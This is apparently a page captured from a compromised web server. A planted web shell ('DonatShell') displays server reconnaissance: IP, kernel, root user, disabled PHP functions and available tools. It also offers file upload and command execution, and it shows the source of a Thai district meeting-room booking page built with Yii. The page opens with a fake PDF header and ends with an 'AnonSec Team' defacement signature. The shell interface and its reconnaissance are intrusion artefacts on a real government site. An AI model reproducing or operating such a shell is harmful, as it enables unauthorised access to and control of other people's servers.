%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/task/11584/cwd/html/ppaobm/frontend/modules/booking/views/bookingdata/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/task/11584/cwd/html/ppaobm/frontend/modules/booking/views/bookingdata/index.php
<?php

use yii\helpers\Html;
use yii\helpers\Url;
use kartik\grid\GridView;
use yii\helpers\ArrayHelper;
use kartik\export\ExportMenu;
use backend\modules\location_center\models\LocationCenter;
use frontend\modules\booking\models\LocationRoom;
use yii\widgets\ListView;
use kartik\popover\PopoverX;

/* @var $this yii\web\View */
/* @var $searchModel frontend\modules\booking\models\BookingDataSearch */
/* @var $dataProvider yii\data\ActiveDataProvider */

$this->title = 'ตรวจสอบและขอใช้ห้องประชุมและอาคารสถานที่ศูนย์ประสานแผนพัฒนาท้องถิ่นประจำอำเภอ';
$this->params['breadcrumbs'][] = $this->title;
$backend = Yii::getAlias('@back');
$time = time();
?>
<?php
$JSEventMouseover = <<<EOF
        function(event, jsEvent, element) {
            $(this).popover({
                placement: 'auto',
                trigger: 'hover',
                animation: true,
                html: true,
                title: "<div id='popoverbmtitle'>เวลา "+event.nonstandard.start+" น. - "+event.nonstandard.end+" น.</div>",
                content: "<ul id='ulppaobm'><li>"+event.nonstandard.location+"</li><li>"+event.nonstandard.room+"</li><li>"+event.nonstandard.title+"</li><li>จำนวนผู้เข้าใช้ "+event.nonstandard.num_user+" คน</li></ul>",
                container: 'body',
            }).popover('toggle');
        
        }
EOF;
$JSDayRender = <<<EOF
        function(date, cell) {
            var theDate = $(cell).data('date');
            var fcDaySkel = $("#calendar div.fc-bg td[data-date='"+theDate+"'].fc-day");
            fcDaySkel.attr("id","1");
        }
EOF;
$JSEventRender = <<<EOF
        function(event, element) {
            element.find(".fc-title").html(event.title);
            element.find(".fc-time").html('');
        }
EOF;
?>
<?php
$gridColumns = [
    [
        'class' => 'kartik\grid\SerialColumn',
        'contentOptions' => ['class' => 'kartik-sheet-style'],
        'width' => '0.5%',
        'header' => '',
        'headerOptions' => ['class' => 'kartik-sheet-style']
    ],
    [
        'attribute' => 'datein',
        'width' => '15%',
        'vAlign' => 'middle',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'xlFormat' => "mmm\\-dd\\, \\-yyyy",
        'format' => 'html',
        'filterType' => GridView::FILTER_DATE,
        'filterWidgetOptions' => (
        [
            'model' => $searchModel,
            'type' => 2,
            'language' => 'th',
            'attribute' => 'datein',
            'convertFormat' => true,
            'pluginOptions' => ['autoclose' => true, 'format' => 'yyyy-MM-dd'],
        ]
        ),
        'contentOptions' => function ($model) {
            return [
                'style' => 'color:#D2691E;text-align: center;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;',
                'id' => $model['id'],
                'onclick' => 'window.location.href = "/booking/bookingdata/view?id="+(this.id)',
            ];
        },
        'value' => function ($model) {
            if ($model->datein !== null) {
//                return Yii::$app->thaiFormatter->asDateTime($model->datein, 'php:d M Y เวลา H:i');
                return Yii::$app->thaiFormatter->asDateTime($model->datein, 'php:d M Y เวลา H:i');
            } else {
                return 'ไม่ได้ระบุ';
            }
        },
    ],
    [
        'attribute' => 'location_center_id',
        'vAlign' => 'middle',
        'width' => '12%',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
                'style' => 'color:#1E90FF;text-align: center;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;',
                'id' => $model['id'],
                'onclick' => 'window.location.href = "/booking/bookingdata/view?id="+(this.id)',
            ];
        },
        'value' => function ($model) {
            $model = LocationCenter::find()->where(['id' => $model->location_center_id])->one();
            return substr($model->name, 96);
        },
//        'filterType' => GridView::FILTER_SELECT2,
//        'filter' => ArrayHelper::map(LocationCenter::find()->all(), 'id', 'name'),
        'filter' => [
            1 => 'อำเภอเมืองพิษณุโลก',
            2 => 'อำเภอบางระกำ',
            3 => 'อำเภอบางกระทุ่ม',
            4 => 'อำเภอพรหมพิราม',
            5 => 'อำเภอวังทอง',
            6 => 'อำเภอวัดโบสถ์',
            7 => 'อำเภอเนินมะปราง',
            8 => 'อำเภอนครไทย',
            9 => 'อำเภอชาติตระการ',
        ],
        'filterWidgetOptions' => [
            'options' => ['prompt' => ''],
            'pluginOptions' => ['allowClear' => true],
        ],
    ],
    [
        'attribute' => 'name',
        'vAlign' => 'middle',
        'width' => '15%',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
                'style' => 'color:#1E90FF;text-align: center;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;',
                'id' => $model['id'],
                'onclick' => 'window.location.href = "/booking/bookingdata/view?id="+(this.id)',
            ];
        },
    ],
    [
        'attribute' => 'department_name',
        'vAlign' => 'middle',
        'width' => '15%',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
                'style' => 'color:#1E90FF;text-align: center;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;',
                'id' => $model['id'],
                'onclick' => 'window.location.href = "/booking/bookingdata/view?id="+(this.id)',
            ];
        },
    ],
    [
        'attribute' => 'title',
        'vAlign' => 'middle',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
                'style' => 'color:#1E90FF;text-align: center;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;',
                'id' => $model['id'],
                'onclick' => 'window.location.href = "/booking/bookingdata/view?id="+(this.id)',
            ];
        },
    ],
    [
        'attribute' => 'location_room_id',
        'vAlign' => 'middle',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
                'style' => 'color:#1E90FF;text-align: center;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;',
                'id' => $model['id'],
                'onclick' => 'window.location.href = "/booking/bookingdata/view?id="+(this.id)',
            ];
        },
        'value' => function ($model) {
            $model = LocationRoom::find()->where(['id' => $model->location_room_id])->one();
            return $model->name;
        },
    ],
    [
        'attribute' => 'num_user',
        'vAlign' => 'middle',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
                'style' => 'color:#1E90FF;text-align: center;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;',
                'id' => $model['id'],
                'onclick' => 'window.location.href = "/booking/bookingdata/view?id="+(this.id)',
            ];
        },
    ],
    [
        'class' => 'kartik\grid\FormulaColumn',
        'header' => 'สถานะ',
        'vAlign' => 'middle',
        'format' => 'raw',
        'value' => function ($model) {
            if ($model->status == 0) {
                return '<i class="m-menu__link-icon fa fa-minus" style="color:red"></i>';
            }
            if ($model->status == 1) {
                return '<i class="m-menu__link-icon fa fa-check" style="color:blue"></i>';
            }
            if ($model->status == 2) {
                return '<i class="m-menu__link-icon fa fa-times" style="color:red"></i>';
            }
        },
        'headerOptions' => ['class' => 'kartik-sheet-style'],
        'hAlign' => 'center',
        'mergeHeader' => true,
    ],
];
?>

<div class="booking-data-index">
    <section id="bookingcal" class="ppaobmd2">
        <div class="container">
            <div class="heading wow fadeInUp" data-wow-duration="1000ms" data-wow-delay="300ms">
                <div class="row">
                    <div class="text-center col-sm-8 col-sm-offset-2">
                        <h2><?= Html::encode($this->title) ?></h2>
                    </div>
                </div> 
            </div>
            <div class="text-center our-services wow fadeInUp" data-wow-duration="1000ms" data-wow-delay="400ms">
                <div class="row">
                    <div class="col-sm-6">
                        <div class="box-body">
                            <?=
                            Html::a('ขอใช้ห้องประชุม', ['/booking/bookingdata/create'], [
                                'class' => 'btn btn-lg btn-block btn-info m-btn m-btn--custom',
                                'data-toggle' => 'tooltip',
                                'title' => 'ขอใช้ห้องประชุม',
                            ]);
                            ?>
                        </div>
                    </div>
                    <div class="col-sm-6">
                        <div class="box-body">
                            <?=
                            Html::a('ตรวจสอบ/ยกเลิกการขอใช้ห้องประชุม', ['cancel'], [
                                'class' => 'btn btn-lg btn-block btn-danger m-btn m-btn--custom',
                                'data-toggle' => 'tooltip',
                                'title' => 'ตรวจสอบ/ยกเลิกการขอใช้ห้องประชุม',
                            ]);
                            ?>
                        </div>
                    </div>
                </div>
                <div class="row" style="padding-top: 20px">
                    <div class="col-md-6 wow fadeInUp" data-wow-duration="1000ms" data-wow-delay="500ms">
                        <div class="box">
                            <div class="box-body">
                                <div class="box-header with-border">
                                    <h3 class="box-title">
                                        ปฏิทินการใช้ห้องประชุมและอาคารสถานที่<br>ศูนย์ประสานแผนพัฒนาท้องถิ่นประจำอำเภอ
                                    </h3><br>
                                    <small style="color:red;">*แสดงเฉพาะรายการที่อนุมัติแล้ว</small>
                                </div>
                                <div class="m-portlet__body" id="calendar-chanpalace">
                                    <?=
                                    edofre\fullcalendar\Fullcalendar::widget([
                                        'options' => [
                                            'id' => 'calendar',
                                            'language' => 'th',
                                            'class' => 'fc fc-unthemed fc-ltr',
                                        ],
                                        'header' => [
                                            'left' => 'prev,next',
                                            'right' => 'title',
                                            'center' => '',
                                        ],
                                        'clientOptions' => [
                                            'contentHeight' => 'auto',
                                            'defaultView' => 'month',
//                            'dayClick' => new \yii\web\JsExpression($JSDayClick),
//                            'dayRender' => new \yii\web\JsExpression($JSDayRender),
//                            'eventClick' => new \yii\web\JsExpression($JSEventClick),
                                            'eventMouseover' => new \yii\web\JsExpression($JSEventMouseover),
                                            'eventRender' => new \yii\web\JsExpression($JSEventRender),
                                        ],
                                        'events' => Url::to(['/booking/bookingdata/jsoncalendar']),
                                        'theme' => true,
                                    ]);
                                    ?>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-6 wow fadeInUp" data-wow-duration="1000ms" data-wow-delay="700ms">
                        <div class="box">
                            <div class="box-body">
                                <div class="box-header with-border">
                                    <h3 class="box-title">
                                        การใช้ห้องประชุมและอาคารสถานที่<br>ศูนย์ประสานแผนพัฒนาท้องถิ่นประจำอำเภอประจำสัปดาห์
                                    </h3><br>
                                    <small style="color:red;">*แสดงเฉพาะรายการที่อนุมัติแล้ว</small>
                                </div>
                                <div class="m-portlet__body">
                                    <?=
                                    edofre\fullcalendar\Fullcalendar::widget([
                                        'options' => [
                                            'id' => 'calendar2',
                                            'language' => 'th',
                                            'class' => 'fc fc-unthemed fc-ltr',
                                        ],
                                        'header' => [
                                            'left' => 'prev,next',
                                            'right' => 'title',
                                            'center' => '',
                                        ],
                                        'clientOptions' => [
                                            'defaultView' => 'listWeek',
//                            'dayClick' => new \yii\web\JsExpression($JSDayClick),
                                            'dayRender' => new \yii\web\JsExpression($JSDayRender),
//                            'eventClick' => new \yii\web\JsExpression($JSEventClick),
                                            'eventMouseover' => new \yii\web\JsExpression($JSEventMouseover),
//                            'eventRender' => new \yii\web\JsExpression($JSEventRender),
                                        ],
                                        'events' => Url::to(['/booking/bookingdata/jsoncalendar']),
                                        'theme' => true,
                                    ]);
                                    ?>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>
    <section id="bookingtable" class="ppaobmd1">
        <div class="container">
            <?php
            $showlist = 0;
            if ($showlist == 1) {
                ?>
                <div class="row" style="padding-top: 20px">
                    <?php
                    echo ListView::widget([
                        'dataProvider' => $dataProvider,
                        'itemView' => '_post',
                        'layout' => "{items}{pager}",
                        'viewParams' => [
                            'fullView' => true,
                            'context' => 'success',
                        ],
                        'itemOptions' => ['class' => 'box-body'],
                        'pager' => [
                            'class' => \kop\y2sp\ScrollPager::className(),
                            'triggerText' => '<button type="button" class="btn btn-outline-info m-btn m-btn--icon m-btn--icon-only m-btn--pill m-btn--air"><i class="la la-arrow-down"></i></button>',
                            'noneLeftText' => ' ',
                        ],
                    ]);
                    ?> 
                </div>
            <?php } ?>
            <div class="row">
                <div class="col-xs-4" style="text-align: center"><i class="m-menu__link-icon fa fa-minus" style="color:red"></i> รอการอนุมัติ</div>
                <div class="col-xs-4" style="text-align: center"><i class="m-menu__link-icon fa fa-check" style="color:blue"></i> อนุมัติ</div>
                <div class="col-xs-4" style="text-align: center"><i class="m-menu__link-icon fa fa-times" style="color:red"></i> ไม่อนุมัติ</div>
            </div>
            <div class="row" style="padding-top: 20px">
                <?=
                GridView::widget([
                    'id' => 'grid-ppaobm',
                    'dataProvider' => $dataProvider,
                    'filterModel' => $searchModel,
                    'options' => [
                        'class' => 'table table-bordered table-striped'
                    ],
                    'filterRowOptions' => ['class' => 'kartik-sheet-style'],
                    'layout' => "{items}\n{pager}",
                    'showPageSummary' => false,
//                            'panel' => [
//                                'type' => GridView::TYPE_PRIMARY
//                            ],
                    'panelTemplate' => '
                        <div class="panel {type}">
                            {items}
                            <div class="clearfix">
                                {pager}
                            </div>
                            <div class="clearfix"></div>
                        </div>',
                    'pjax' => true,
                    'pjaxSettings' => [
                        'neverTimeout' => true,
                        'enablePushState' => true,
                        'options' => ['id' => 'grid-' . Yii::$app->controller->module->id . Yii::$app->controller->action->id,],
                    ],
//                            'pager' => Yii::$app->params['pagerX'],
                    'toolbar' => [
                        '{export}',
                        '{toggleData}'
                    ],
                    'export' => [
                        'label' => 'ดาว์โหลดเอกสาร',
                        'fontAwesome' => true,
                        'showConfirmAlert' => false,
                        'target' => \kartik\grid\GridView::TARGET_BLANK
                    ],
                    'exportConfig' => [
                        \kartik\grid\GridView::EXCEL => false,
                    ],
                    'responsive' => true,
                    'responsiveWrap' => false,
                    'hover' => true,
                    'headerRowOptions' => ['class' => 'header-table-center',],
                    'columns' => $gridColumns,
                    'krajeeDialogSettings' => ['overrideYiiConfirm' => false]
                ]);
                ?>
            </div>
        </div>
    </section>
    <?php // echo $this->render('_search', ['model' => $searchModel]);      ?>

</div>

Anon7 - 2022
AnonSec Team